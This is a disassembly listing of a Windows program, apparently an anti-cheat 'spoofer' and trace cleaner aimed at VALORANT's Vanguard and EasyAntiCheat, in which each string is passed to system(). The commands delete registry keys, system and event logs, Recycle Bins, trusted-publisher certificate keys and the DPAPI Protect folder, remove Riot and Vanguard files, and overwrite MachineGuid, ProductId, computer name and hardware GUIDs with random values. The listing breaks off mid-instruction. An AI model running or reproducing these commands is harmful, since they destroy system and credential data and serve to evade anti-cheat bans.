lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000A0430___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000B0532___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000B05D6___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000C0430___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000C0586___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000E03D2___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000000E0406___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:0000000000100430___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000001103EE___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:000000000011041E___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:000000000012047E___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000001303EE___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000001304F2___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:000000000014041E___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000001703E6___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerSessionInfo1ApplicationViewManagementW32:00000000001B0412___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareMicrosoftWindowsCurrentVersionExplorerStreamMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesLocal_SettingsMrtCacheC:_5CProgram_Files_5CWindowsApps_5CMicrosoft.XboxGamingOverlay_2.26.28001.0_x64__8wekyb3d8bbwe_5Cmicrosoft.system.package.metadata_5CS_1_5_21_2532382528_581214834_2534474248_1001_MergedResources_2.pri___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesLocal_SettingsMrtCacheC:_5CProgram_Files_5CWindowsApps_5CMicrosoft.XboxGamingOverlay_2.26.28001.0_x64__8wekyb3d8bbwe_5Cmicrosoft.system.package.metadata_5CS_1_5_21_2532382528_581214834_2534474248_1001_MergedResources_2.pri1d50f44cf1a0499___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesLocal_SettingsMrtCacheC:_5CProgram_Files_5CWindowsApps_5CMicrosoft.XboxGamingOverlay_2.26.28001.0_x64__8wekyb3d8bbwe_5Cmicrosoft.system.package.metadata_5CS_1_5_21_2532382528_581214834_2534474248_1001_MergedResources_2.pri1d50f44cf1a049987f345c2___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesdiscord_432980957394370572___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesdiscord_432980957394370572DefaultIcon___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesdiscord_432980957394370572_shell___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesdiscord_432980957394370572_shellopen___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SoftwareClassesdiscord_432980957394370572_shellopencommand___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SystemGameConfigStoreChildren03ce6902_ff58_41de_ab92_36fcaf27a580___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001SystemGameConfigStoreParents_fd13f746e7d2d69760b017363f621255c9b49ac8___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_ClassesLocal_SettingsMrtCacheC:_5CProgram_Files_5CWindowsApps_5CMicrosoft.XboxGamingOverlay_2.26.28001.0_x64__8wekyb3d8bbwe_5Cmicrosoft.system.package.metadata_5CS_1_5_21_2532382528_581214834_2534474248_1001_MergedResources_2.pri___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_ClassesLocal_SettingsMrtCacheC:_5CProgram_Files_5CWindowsApps_5CMicrosoft.XboxGamingOverlay_2.26.28001.0_x64__8wekyb3d8bbwe_5Cmicrosoft.system.package.metadata_5CS_1_5_21_2532382528_581214834_2534474248_1001_MergedResources_2.pri1d50f44cf1a0499___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_ClassesLocal_SettingsMrtCacheC:_5CProgram_Files_5CWindowsApps_5CMicrosoft.XboxGamingOverlay_2.26.28001.0_x64__8wekyb3d8bbwe_5Cmicrosoft.system.package.metadata_5CS_1_5_21_2532382528_581214834_2534474248_1001_MergedResources_2.pri1d50f44cf1a049987f345c2___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_Classesdiscord_432980957394370572___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_Classesdiscord_432980957394370572DefaultIcon___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_Classesdiscord_432980957394370572_shell___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_Classesdiscord_432980957394370572_shellopen___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_21_2532382528_581214834_2534474248_1001_Classesdiscord_432980957394370572_shellopencommand___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwareMicrosoftSystemCertificatesTrustedPublisher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwareMicrosoftSystemCertificatesTrustedPublisherCertificates___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwareMicrosoftSystemCertificatesTrustedPublisherCRLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwareMicrosoftSystemCertificatesTrustedPublisherCTLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisher___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisherCertificates___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisherCRLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKUS_1_5_18SoftwarePoliciesMicrosoftSystemCertificatesTrustedPublisherCTLs___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsTemporary_Internet_Files_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowslogsCBS_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsTemp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsSystem32config_systemprofileAppDataLocalScreenTime_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsSystem32config_systemprofileAppDataLocalMicrosoftVaultUserProfileRoaming_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsSystem32config_systemprofileAppDataLocalD3DSCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsSystem32configTxR_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsSystem32WDILogFilesStartpInfo_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsSystem32WDILogFiles_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsSoftwareDistribution_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsUserviceProfilesNetworkServiceAppDataLocalMicrosoftWindowsdeliveryOptimizationLogs_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:WindowsUserviceProfilesNetworkServiceAppDataLocalMicrosoftWindowsDeliveryOptimizationState_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataRoamingMicrosoftProtect_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalVirtalStore_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalUnrealEngine_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalTemp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalPackagesMicrosoft.Windows.Search_cw5n1h2txyewyLocalStateDeviceSearchCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalPackagesMicrosoft.Windows.Search_cw5n1h2txyewyLocalStateConstraintIndex_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsWebCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsWER_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsINetCookies_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsINetCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsIEDownloadHistory_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsIECompataCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsIECompatCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftWindowsCaches_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftTerminal_Server_ClientCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalMicrosoftInternet_ExplorerCacheStorage_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalD3DSCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalCrashDmps_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalConnectedDevicesPlatform_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:ProgramDataNVIDIA_CorporationNV_Cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:ProgramDataNVIDIA_CorporationDrs_nvAppTimestamps_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:ProgramDataMicrosoftWindowsWER_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:PerfLogs_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Documents_and_Settings_username_AppDataLocalApplication_DataMicrosoftWindowsCaches_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q___localappdata_MicrosoftWindowsCaches_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:Users_username_AppDataLocalVALORANT_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:ProgramDataRiot_GamesMetadataRiot_Client_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q__C:ProgramDataRiot_GamesMetadata_valorant.live_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q___systemdrive_ProgramDataMicrosoftWindowsWER_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q___systemdrive_UsersPublicShared_Files_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q___systemdrive_System_Volume_InformationIndexerVolumeGuid_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q___systemdrive_UsersPublicLibraries_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__S__Q___systemdrive_MSOCache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__S__Q__C:ProgramDataRiot_Gamesmachine.cfg_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__C:Riot_GamesVALORANTliveManifest_NonFSFiles_Win64.txt___f__q
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__C:Riot_GamesVALORANTliveEngineBinariesThirdPartyCEF3Win64icdtl.dat___f__q
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__C:Riot_GamesRiot_ClientX_natives_blob.bin___f__q
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__C:Riot_GamesRiot_ClientXicdtl.dat___f__q
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__C:Riot_GamesRiot_ClientXPlginsplgin_manifest.json___f__q
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Windows_vgkbootstats.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__f___systemdrive__Recycle.bin_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__D:System_Volume_Information_tracking.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Windowswin.ini_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Windowsmemory.dmp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsWindowsUpdate.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsSystem32LogFilesWMIWifi.etl_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsSystem32LogFilesWMIRadioMgr.etl_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsSystem32LogFilesWMINtfsLog.etl_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsSystem32LogFilesWMINetCore.etl_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsSystem32LogFilesWMIMicrosoft_Windows_Rdp_Graphics_RdpIdd_Trace.etl_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsSystem32LogFilesWMILwtNetLog.etl_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsUserviceProfilesNetworkServiceNTSER.DAT_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsUserviceProfilesLocalServiceAppDataLocalMicrosoftWindowsqwavecache.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsLogsDISMdism.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsDirectX.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username__ntser.dat.LOG2_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username__ntser.dat.LOG1_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_AppDataLocalMicrosoftWindowsINetCacheIEcontainer.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_NTSER.DAT_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_AppDataLocalUnrealEngine4.23SavedConfigWindowsClientManifest.ini_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_AppDataLocalMicrosoftWindowsINetCacheIEcontainer.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_AppDataLocalMicrosoftVaultUserProfileRoamingLatest.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_AppDataLocalMicrosoftOneDrivelogsCommonDeviceHealthSummaryConfigration.ini_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_AppDataLocalIconCache.db_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Users_username_AppDataLocalACINetCookiesESEcontainer.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:System_Volume_Information_tracking.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:ProgramDataMicrosoftWindowsDeviceMetadataCachedmrc.idx_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:Config.Msi_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q__C:WindowsSystem32_restoreMachineGuid.txt_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_UsersPublicLibrariescollection.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_System_Volume_InformationWPSettings.dat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_System_Volume_Information_tracking.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_WindowsINF_setpapi.dev.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_WindowsINF_setpapi.setp.log_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_ProgramData_ntser.pol_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_UsersDefaltNTSER.DAT_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_Recovery_ntser.sys_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__q___systemdrive_desktop.ini_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rd__q__s__systemdrive__Recycle.Bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rd__q__s_d:_Recycle.Bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rd__q__s_e:_Recycle.Bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rd__q__s_f:_Recycle.Bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlComputerNameComputerName__v_ComputerName__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlComputerNameActiveComputerName__v_ComputerName__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMHardwareConfig__v_LastConfig__t_REG_SZ__d_eac_random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001__v_HwProfileGuid__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001__v_GUID__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_BuildGUID__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.SET_subkey1_random__random__random__random__random__random__random__random__random__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.SET_subkey1_subkey1:0a_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.SET_subkey1_subkey1:1b_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.SET_subkey1_subkey1:2c_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_BuildGUIDEx__t_REG_BINARY__d__subkey1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_RegisteredOwner__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_RegisteredOrganization__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftCryptography__v_GUID__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftCryptography__v_MachineGuid__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_ProductId__t_REG_SZ__d__random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_InstallDate__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareId__t_REG_SZ__d__random___random___random___random___f
